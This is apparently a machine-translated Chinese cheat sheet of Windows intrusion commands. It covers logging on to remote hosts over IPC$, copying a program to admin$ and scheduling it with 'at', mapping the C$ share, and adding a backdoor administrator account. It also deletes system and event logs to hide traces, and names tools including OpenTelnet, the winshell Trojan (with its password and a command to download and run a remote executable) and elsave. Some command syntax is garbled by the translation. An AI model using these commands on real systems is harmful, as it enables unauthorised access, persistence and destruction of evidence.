dos命令（DOS command）.docVIP

dos命令（DOS command） (to establish its connection with the remote host) net use \\IP \ipc$/use: (log on as an administrator to the remote host \\IP address use) net \ipc$/use: Administrator password (file transfer to a remote host WINNT directory) copy the directory path \ program \\IP address \admin$ (remote host time) net time \\IP. (from time to time to start a program) at \\IP 02:18 readme.exe. (see net view \\IP address sharing) (see the NetBIOS working group nbtstat -A IP address list) (the remote host C mapping for their F net use f: \\IP disk) \c$/user: Administrator (the two of the increase to the administrators group): net user /add username and password Net localgroup Administrators /add username (disconnected) net use \\IP \ipc$/delete. ===================================================== Wiping: Del C:\winnt\system32\logfiles\*.* Del C:\winnt\ssytem32\config\*.evt Del C:\winnt\system32\dtclog\*.* Del C:\winnt\system32\*.log Del C:\winnt\system32\*.txt Del C:\winnt\*.txt Del C:\winnt\*.log ============================ A, netsvc.exe The following commands are listed on the host services, search and remote boot host time task service: The netsvc /list \\IP. Netsvc schedule \\IP /query. Netsvc \\IP schedule /start. Two, OpenTelnet.exe Start the remote host Telnet services, and binding to the port to 7878, for example: OpenTelnet \\IP address user name password 17878 Then you can telnet to port 7878 hosts, enter DOS mode: Telnet IP address 7878 Three, winshell.exe A very small Trojan (6K), telnet to 7878 port host, password WINSHELL, when CMD, can play the following command: P Path (see the WINSHELL path information of the main program) B reBoot (restart) D shutDown (shut down) S Shell (after you will see the lovely C:\) X eXit (exit the login session, run this command does not terminate WINSHELL) CMD http://... /srv.exe (via HTTP to download other files on the web site to run on the WINSHELL) Four, 3389 landers, GUI log on the remote host Five, elsave.exe